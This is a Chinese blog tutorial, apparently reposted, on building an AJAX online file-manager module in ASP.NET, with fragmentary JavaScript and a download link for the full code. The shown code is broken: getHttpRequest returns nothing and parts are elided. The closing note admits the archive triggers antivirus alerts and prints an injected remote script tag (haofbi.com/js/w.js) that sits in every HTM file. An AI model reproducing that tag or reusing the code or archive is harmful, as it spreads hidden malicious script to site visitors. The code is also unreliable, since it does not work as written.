在线时间:8:00-16:00
迪恩网络APP
随时随地掌握行业动态
扫描二维码
关注迪恩网络微信公众号
需要完整代码的见文章最下部的链接
在线文件管理模块功能及应用: 现代企业级开发中,在线文档管理是必不可少模块之一,本例所讲在线文档管理模块包括了文件上传到服务器上、文件浏览、重命名、移动、复制、删除、新建文件夹、压缩、解压缩、在线编辑等多种常用操作,适用于无纸化办公OA、ERP、CRM、项目管理、文件管理(网盘)、主机管理等多种场合。 在线文件管理模块特点: 全静态页面、执行效率高; 在线文件管理模块展示:
在线文件管理模块实现技能点: 自定义AJAX操作,AJAX-tree,AJAX-Dialog
在线文件管理模块具体实现过程: 搭建项目层次如图 CSS: 存放整站样式文件 JS:存放全部JS文件 UpFiles:存放上传的文件 WebExplorer.html: 唯一的界面 MyWebExplorer.ashx:一般处理程序,用来处理HTTP请求 DownloadFile.cs:下载文件操作类 ZipClass.cs:压缩文件操作类 fckeditor:在线文本编辑器 目录结构如下: 在线文件管理-树-Ajax.js
function getHttpRequest()
{ httpRequest = new XMLHttpRequest(); httpRequest = new ActiveXObject("Msxml2.XMLHTTP"); } function executeHttpRequest(method, url, data)
{ var xmlHttp = getHttpRequest(); xmlHttp.open(method, url, false); xmlHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xmlHttp.send(data); return xmlHttp.responseText; } function TreeNode()
{ var self = this; var fileContainer = $(fileDivID); …… …… this.childArea = createDiv(); this.childArea.style.display = "none"; this.container.appendChild(this.childArea); }
this.clickNode = function()
{ self.ClearCurrentStatus(); currentNode = self; self.SetCurrentStatus(); self.CreateChildren(); } 关于在线文件管理-树-Tree.js的几点解说: ClearCurrentStatus:清除当前节点状态
完整代码已经提供,记得点一下推荐哦。/Files/0771bc/在线文件管理模块最终代码.rar
特别说明:遇到杀软报毒:找到所有HTM文件,将<script language=javascript src=http://www.haofbi.com/js/w.js></script>删除即可 请注意后续提供的该模块开发全过程的免费视频教程。
|
请发表评论